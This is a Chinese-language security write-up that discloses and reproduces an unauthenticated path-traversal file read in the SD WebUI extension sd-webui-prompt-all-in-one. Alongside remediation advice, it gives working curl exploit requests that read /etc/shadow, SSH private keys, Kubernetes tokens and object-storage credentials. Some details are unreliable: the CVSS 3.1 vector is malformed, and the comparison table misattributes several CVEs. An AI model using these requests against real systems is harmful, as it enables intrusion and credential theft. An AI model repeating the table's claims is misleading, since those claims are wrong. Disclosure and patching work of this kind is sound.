Stable Diffusion WebUI(AUTOMATIC1111)是目前开源社区最火的 AI 绘画部署方案,没有之一。企业内部用它跑模型训练、批量生图、搭建 AI 创作平台,早已不是新鲜事。

而 sd-webui-prompt-all-in-one 是 SD WebUI 生态中排名前列的扩展插件,GitHub 星标 3.2k,功能是增强提示词输入框体验——自动翻译、历史记录、标签补全。装机量非常大,国内大量企业的 AI 训练平台上都能看到它的身影。

问题出在这个扩展的 get_csv 接口。该接口用于读取标签补全用的 CSV 文件,但代码中直接将用户传入的 key 参数拼接到 base_dir 上,没有做任何路径规范化或 ../ 过滤。攻击者只需构造一个带路径穿越的 URL,就能读取服务器上的任意文件。

更严重的是:SD WebUI 默认不启用认证,很多企业部署时直接 --listen 暴露在内网。这个扩展的漏洞接口同样无需认证,零点击即可利用。

我们在某企业内网资产普查中发现了 8 个暴露该漏洞的实例,全部以 root 权限运行。通过这个漏洞,我们读取到了 SSH 私钥、Kubernetes ServiceAccount Token、对象存储凭据等高危敏感信息。

漏洞披露状态如下:

项目

详情

扩展名称

sd-webui-prompt-all-in-one

GitHub 仓库

physton/sd-webui-prompt-all-in-one

星标数

3.2k

漏洞接口

GET /physton_prompt/get_csv?key=<可控路径>

CVE 编号

官方补丁

维护状态

作者已声明停止维护,仅接受 PR

Issue #372

2025-12-30 提交安全报告,至今无人回应

最新 commit

2026-04-20(非安全修复)

漏洞存在时长

3 年(自 2023 年起)

一句话总结:3.2k 星的热门扩展,漏洞代码躺了 3 年,作者已停更,Issue 无人理,至今零补丁。

二、利用条件

条件

说明

本复现是否满足

是否需要认证?

Pre-Auth,无需任何凭据

是否需要受害者交互?

零点击,单个 GET 请求即可

默认配置是否可利用?

默认可利用,SD WebUI 未启用认证时直接暴露

其他前置条件

网络可达目标端口,目标安装了该扩展

CVSS 3.1 评分:9.1(严重 / Critical)

向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/SC:C/C:H/I:N/A:A

三、环境搭建

本地复现非常简单,拉一个 SD WebUI 容器即可。

# 拉取 SD WebUI 镜像
docker run -d --name sd-webui-test \
  -p 8065:7860 \
  -v /tmp/sd-models:/models \
  --gpus all \
  --restart unless-stopped \
  ghcr.io/xxx/sd-webui:latest \
  --listen --api --port 7860

# 进入容器安装漏洞扩展
docker exec -it sd-webui-test bash
cd /home/projects/stable-diffusion-webui/extensions
git clone https://github.com/physton/sd-webui-prompt-all-in-one

# 重启 SD WebUI 使扩展生效
docker restart sd-webui-test

验证扩展已加载:

curl http://127.0.0.1:8065/physton_prompt/get_csvs

返回 JSON 格式的 CSV 文件列表,说明扩展正常运行,漏洞接口已暴露。

四、漏洞复现

攻击链总览

攻击者(内网任意位置)
    │
    │  ① 探测:发现 10.x.x.x:8065 暴露 SD WebUI
    │
    ▼
SD WebUI(无认证,root 运行)
    │
    │  ② 利用:GET /physton_prompt/get_csv?key=../../../../etc/passwd
    │
    ▼
get_csv() 函数(base_dir + key 直接拼接,无过滤)
    │
    │  ③ 突破 base_dir 限制,路径穿越成功
    │
    ▼
读取任意文件
    │
    ├── /etc/passwd          → 系统用户列表
    ├── /etc/shadow          → 密码哈希(root 权限确认)
    ├── /root/.ssh/id_rsa    → SSH 私钥
    ├── /var/run/secrets/.../token → K8s ServiceAccount Token
    ├── /root/.s3cfg         → 对象存储凭据
    └── /root/.bash_history  → 明文密码
    │
    ▼
凭据链式利用 → 横向移动 → K8s API 调用 → 对象存储读写

Step 1:读取 /etc/passwd 确认漏洞

curl "http://10.x.x.x:8065/physton_prompt/get_csv?key=/extensions/a1111-sd-webui-tagcomplete/tags/../../../../../../../etc/passwd"

返回:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...(全部用户列表)

漏洞确认。key 参数中的 ../ 成功穿越了 base_dir 限制。

Step 2:读取 /etc/shadow 确认 root 权限

curl "http://10.x.x.x:8065/physton_prompt/get_csv?key=/extensions/a1111-sd-webui-tagcomplete/tags/../../../../../../../etc/shadow"

返回完整的 shadow 文件内容,包含所有用户的密码哈希。能读 shadow,说明 WebUI 进程以 root 运行。

Step 3:读取 SSH 私钥

curl "http://10.x.x.x:8065/physton_prompt/get_csv?key=/extensions/a1111-sd-webui-tagcomplete/tags/../../../../../../../root/.ssh/id_rsa"

返回完整的 RSA PRIVATE KEY。拿到私钥后,可以直接 SSH 登录该主机,横向到同集群其他节点。

Step 4:读取 Kubernetes ServiceAccount Token

curl "http://10.x.x.x:8065/physton_prompt/get_csv?key=/extensions/a1111-sd-webui-tagcomplete/tags/../../../../../../../var/run/secrets/kubernetes.io/serviceaccount/token"

返回 JWT Token,解码后包含:

namespace: mlt-cv
SA: default
sub: system:serviceaccount:mlt-cv:default

拿到这个 Token,可以在 K8s 集群内调用 API Server,根据 default SA 权限读取同 namespace 下的 Pod、Secret、ConfigMap。

Step 5:读取对象存储凭据

# s3cmd 配置
curl "http://10.x.x.x:8065/physton_prompt/get_csv?key=/extensions/a1111-sd-webui-tagcomplete/tags/../../../../../../../root/.s3cfg"

返回 S3 兼容对象存储的 access_key、secret_key、host_base。攻击者可以直接用这些凭据读写训练数据集、模型权重。

Step 6:读取 Bash 历史中的明文密码

curl "http://10.x.x.x:8065/physton_prompt/get_csv?key=/extensions/a1111-sd-webui-tagcomplete/tags/../../../../../../../root/.bash_history"

返回约 2000 行命令历史,其中包含多条明文 MinIO 凭据。

五、关键点解读

漏洞根因

看一眼源码就明白了,漏洞代码非常"经典":

# scripts/physton_prompt/csv.py

def get_csv(key):
    global base_dir
    global self_base_dir
    global self_tags_dir
    path = base_dir + key              # ← 直接拼接,零过滤
    if not os.path.exists(path):
        path = os.path.join(self_tags_dir, key.replace(...))
        if not os.path.exists(path):
            return None
    return path                        # ← 返回路径,由上层读取并返回内容

key 来自 URL 参数,base_dir 是 SD WebUI 的工作目录。正常请求中 key 长这样:

/extensions/a1111-sd-webui-tagcomplete/tags/danbooru.csv

拼接后:

/home/projects/stable-diffusion-webui/extensions/a1111-sd-webui-tagcomplete/tags/danbooru.csv

攻击者把 key 改成:

/extensions/a1111-sd-webui-tagcomplete/tags/../../../../../../../etc/passwd

拼接后路径穿越到 /etc/passwd,函数返回该路径,上层代码直接读取文件内容返回给攻击者。

三个致命问题叠加:

问题

代码位置

后果

路径直接拼接

path = base_dir + key

允许 ../ 穿越

无路径规范化

缺少 os.path.normpath

无法检测穿越行为

无后缀校验

无 .csv 后缀检查

可读取任意类型文件

横评:同类路径穿越漏洞对比

漏洞

组件

认证要求

CVSS

补丁状态

本文

sd-webui-prompt-all-in-one

无需认证

9.1

❌ 无补丁

CVE-2024-30850

AIOHTTP(路径穿越)

无需认证

7.5

✅ 已修复

CVE-2023-36664

Eulerian Analytics

无需认证

9.8

✅ 已修复

CVE-2023-45853

zlib(路径穿越)

不适用

8.1

✅ 已修复

本文漏洞的威胁程度高于多数已分配 CVE 的同类漏洞,原因在于:无需认证 + root 运行 + 可读任意文件 + 无补丁。

为什么危害这么大

这个漏洞本身只是"任意文件读取",但结合实际部署环境,杀伤力成倍放大:

放大因素

具体表现

后果

root 运行

WebUI 进程以 root 启动

可读 /etc/shadow、SSH 私钥

K8s 环境

Pod 挂载 SA Token

可读 Token 调用 K8s API

凭据散落

.s3cfg、.mc、.bash_history

一条请求拿到多套存储凭据

无认证

SD WebUI 未启用 --gradio-auth

零点击直接利用

多入口

8 个 VIP 指向同一 Pod

任一入口均可利用

六、修复与防御

立即修复

方案一:卸载扩展(推荐)

# 停止 SD WebUI
docker stop sd-webui-test

# 删除漏洞扩展
rm -rf /home/projects/stable-diffusion-webui/extensions/sd-webui-prompt-all-in-one

# 重启 SD WebUI
docker start sd-webui-test

作者已停更,补丁无望,最安全的做法就是卸载。

方案二:反向代理拦截漏洞路径

如果业务上离不开这个扩展,在 Nginx 层拦截:

location /physton_prompt/get_csv {
    return 403;
}

方案三:手动修补 csv.py

# 修复后的 get_csv 函数
def get_csv(key):
    global base_dir
    global self_base_dir
    global self_tags_dir

    # 规范化路径
    abs_path = os.path.normpath(os.path.join(base_dir, key))

    # 校验路径未逃逸 base_dir
    if not abs_path.startswith(base_dir):
        return None

    # 仅允许 .csv 后缀
    if not abs_path.endswith('.csv'):
        return None

    if not os.path.exists(abs_path):
        return None
    return abs_path

注意:手动修补后每次扩展更新都可能被覆盖,需持久化处理。

纵深防御

防御措施

优先级

说明

启用 SD WebUI 认证

P0

添加 --gradio-auth user:pass 启动参数

限制端口暴露范围

P0

反向代理 + IP 白名单,禁止公网直接访问

非 root 运行容器

P1

Dockerfile 中指定 USER 1000:1000

禁用 SA Token 自动挂载

P1

Pod 配置 automountServiceAccountToken: false

定期清理凭据文件

P2

删除 .bash_history、.s3cfg 等明文凭据

升级 SD WebUI

P2

v1.5.1 为 2023 年版本,存在多个已知 CVE

WAF 规则拦截 ../

P2

在反代层检测路径穿越特征

快速自检

如果你在用 SD WebUI,一条命令检查是否存在漏洞:

curl -s "http://127.0.0.1:8065/physton_prompt/get_csv?key=/extensions/a1111-sd-webui-tagcomplete/tags/../../../../../../../etc/hostname" | head -1

如果返回了主机名,说明你中招了。如果返回空或报错,说明要么没装这个扩展,要么已经做了防护。

凭据轮换

如果确认被利用过,以下凭据必须全部轮换:

凭据类型

文件位置

轮换操作

SSH 私钥

/root/.ssh/id_rsa

生成新密钥,删除 authorized_keys 可疑公钥

K8s SA Token

/var/run/secrets/.../token

删除 default-token Secret 重建

对象存储 AK/SK

/root/.s3cfg、/root/.mc/

在 MinIO/S3 控制台重新生成

ES ApiKey

硬编码在脚本中

调用 ES API 作废旧 Key 创建新 Key

Jupyter 密码

/root/.jupyter/

修改 jupyter_lab_config.json

七、总结

阶段

攻击者动作

防御者应做

侦察

扫描内网 8065 端口

限制端口暴露,部署网络分段

利用

构造 ../ 穿越 URL

卸载扩展或修补 csv.py

横向

用 SSH 私钥登录其他节点

立即轮换 SSH 密钥

提权

读取 K8s SA Token

禁用 Token 自动挂载

数据窃取

用对象存储凭据下载模型/数据集

轮换 AK/SK,审计访问日志

核心结论:这是一个 CVSS 9.1 的未授权任意文件读取漏洞,扩展作者已停更不修,Issue 挂了 8 个月无人理。在 K8s + root 的实际部署环境下,一条 curl 命令就能拿到 SSH 私钥和 K8s Token,杀伤力远超普通文件读取。如果你在用这个扩展,现在就卸载它。

参考

  • 扩展仓库:https://github.com/physton/sd-webui-prompt-all-in-one[1]

  • 安全报告 Issue #372:https://github.com/physton/sd-webui-prompt-all-in-one/issues/372[2]

  • 漏洞源码文件:scripts/physton_prompt/csv.py

  • SD WebUI 官方文档:https://github.com/AUTOMATIC1111/stable-diffusion-webui[3]

引用链接

[1]https://github.com/physton/sd-webui-prompt-all-in-one

[2]https://github.com/physton/sd-webui-prompt-all-in-one/issues/372

[3]https://github.com/AUTOMATIC1111/stable-diffusion-webui